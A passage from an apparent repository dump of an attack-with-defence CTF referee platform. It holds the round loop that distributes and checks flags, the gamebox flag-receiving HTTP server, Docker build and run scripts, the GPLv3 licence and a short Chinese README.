    "content": "import importlib\nimport hashlib\nimport requests\nimport time\nimport datetime\nfrom config import *\n\ncheck = importlib.import_module('check_scripts.checker').check\n\n\ndef check_one(user_name):\n    check_ip = lib[user_name]\n    return check(check_ip, check_port)\n\n\ndef update_flag_server(user_name, flag, round_index):\n    data = {'secret_key': secret_key, 'user_name': user_name, 'action': 'flag', 'data': flag,\n            \"round_index\": round_index}\n    try:\n        res = requests.post(flag_server, data=data)\n        # print(\"Status code:   %i\" % res.status_code)\n        # print(\"Response body: %s\" % res.content.decode())\n        if res.status_code == 200 and b'succ' in res.content:\n            return True\n    except Exception as e:\n        print(e)\n    return False\n\n\ndef update_target_server(user_name, flag):\n    target_url = 'http://' + lib[user_name] + ':9999'\n    try:\n        res = requests.get(target_url + '/' + flag_key + '/' + flag)\n        # print(target_url + '/' + flag_key + '/' + flag)\n        # print(\"Status code:   %i\" % res.status_code)\n        # print(\"Response body: %s\" % res.content)\n        if res.status_code == 200 and b'succ' in res.content:\n            return True\n    except Exception as e:\n        print(e)\n    return False\n\n\ndef update_status(user_name, round_index, run):\n    data = {'secret_key': secret_key, 'user_name': user_name, 'action': 'status', 'data': run,\n            'round_index': round_index}\n    try:\n        res = requests.post(flag_server, data=data)\n        # print(\"Status code:   %i\" % res.status_code)\n        # print(\"Response body: %s\" % res.content)\n        if res.status_code == 200 and b'succ' in res.content:\n            return True\n    except Exception as e:\n        print(e)\n    return False\n\n\ndef run_one(round_index):\n    for i in range(1, user_count + 1):\n        user_name = 'user' + str(i).zfill(2)\n        tmp = (user_name + str(round_index) + str(int(time.time()) / round_time)).encode('utf-8')\n        flag = hashlib.md5(tmp).hexdigest()\n        if update_flag_server(user_name, flag, round_index):\n            print('[+] Flag_server: update {} with flag {}, succ'.format(user_name, flag))\n        else:\n            print('[-] Flag_server: update {} with flag {}, error!!'.format(user_name, flag))\n        if update_target_server(user_name, flag):\n            print('[+] Target_server: update {},{} with flag {}, succ'.format(user_name, lib[user_name], flag))\n        else:\n            print('[-] Target_server: update {} with flag {}, error!!'.format(user_name, flag))\n        if check_one(user_name):\n            run = 1\n            update_status(user_name, round_index, run)\n            print(\"[+] Check_server {},{} run succ !\".format(user_name, lib[user_name]))\n        else:\n            print(\"[-] Check_server {},{} run error !\".format(user_name, lib[user_name]))\n            run = 0\n            update_status(user_name, round_index, run)\n\n\nif __name__ == '__main__':\n    print(\"[+] Starting checking framework...\")\n    print(\"[+] Round time : %s seconds...\" % round_time)\n    while True:\n        start = time.time()\n        run_one(round_index)\n        round_index += 1\n        print(\"[+] This round checking is finished , waiting for the next round...\")\n        while True:\n            wait_time = start + round_time - time.time()\n            if wait_time <= 0:\n                break\n            print(\"[+] The next checking is %d seconds later...\" % (wait_time))\n            time.sleep(1)\n"
  },
  {
    "path": "check_server/webapps/requirements.txt",
    "content": "requests==2.20.1"
  },
  {
    "path": "check_server/webapps/run.sh",
    "content": "#!/bin/sh\npython3 main.py\n"
  },
  {
    "path": "flag.py",
    "content": "#!/usr/bin/env python\n\nimport SimpleHTTPServer\nimport SocketServer\nimport hashlib\nimport time\nimport sys\n\n'''\n\tthis script is supposed to run on the gamebox, it record the flag sent\n\tby the server, and record it to local file system, the normal request\n\tshould be looks like /you_should_not_guess_the_key/04df0f74b98693195d93ac695d51e837\n'''\n\nPORT = 9999\nkey = 'you_should_not_guess_the_key'\nflag_path = '/flag'\n\n\nclass my_handler(SimpleHTTPServer.SimpleHTTPRequestHandler):\n    def do_GET(self):\n        request = self.path.split('/')\n        self.send_response(200)\n        self.send_header('Content-type', 'text/html')\n        self.end_headers()\n        if len(request) == 3 and request[1] == key and len(request[2]) == 32:\n            flag = request[2]\n            open(flag_path, 'w').write(flag)\n            self.wfile.write('update flag succ!')\n        else:\n            self.wfile.write('get out! hacker!')\n\n\nHandler = my_handler\nhttpd = SocketServer.TCPServer((\"\", PORT), Handler)\n\nprint \"serving at port\", PORT\nhttpd.serve_forever()\n"
  },
  {
    "path": "flag_server/Dockerfile",
    "content": "FROM python:3\nRUN apt-get update && apt-get upgrade -y && apt-get install -y libsqlite3-dev,sqlite3\nENV PYTHONUNBUFFERED 1\nADD webapps /webapps\nWORKDIR /webapps\nRUN pip install -r requirements.txt\nEXPOSE 8000\nCMD [\"/webapps/run.sh\"]"
  },
  {
    "path": "flag_server/build_images.sh",
    "content": "#!/bin/sh\ndocker build -t moxiaoxi/flag_server ."
  },
  {
    "path": "flag_server/docker.sh",
    "content": "#!/bin/sh\ndocker run -p 9090:8000  -d  -v `pwd`/webapps:/webapps --name flag_server -ti moxiaoxi/flag_server"
  },
  {
    "path": "flag_server/reset_docker.sh",
    "content": "#!/bin/sh\ndocker stop flag_server\ndocker rm flag_server\ndocker run -p 9090:8000  -v `pwd`/webapps:/webapps -d  --name flag_server -ti moxiaoxi/flag_server\n"
  },
  {
    "path": "flag_server/webapps/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "flag_server/webapps/README.md",
    "content": "# awd_platform\n\n\n\n一个awd攻防比赛的裁判平台。\n\n版本：beta v2.0\n开发语言：python3 + django\n\n\n平台分为两个部分\n\n1. 裁判机\n2. 靶机\n\n通过特定接口，来实现靶机flag与服务器的通信\n\n\n"
  },
  {
    "path": "flag_server/webapps/app/admin.py",
    "content": "from django.contrib import admin\n"
  },
  {
    "path": "flag_server/webapps/app/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass AppConfig(AppConfig):\n    name = 'app'\n"
  },
  {
    "path": "flag_server/webapps/app/config.py",
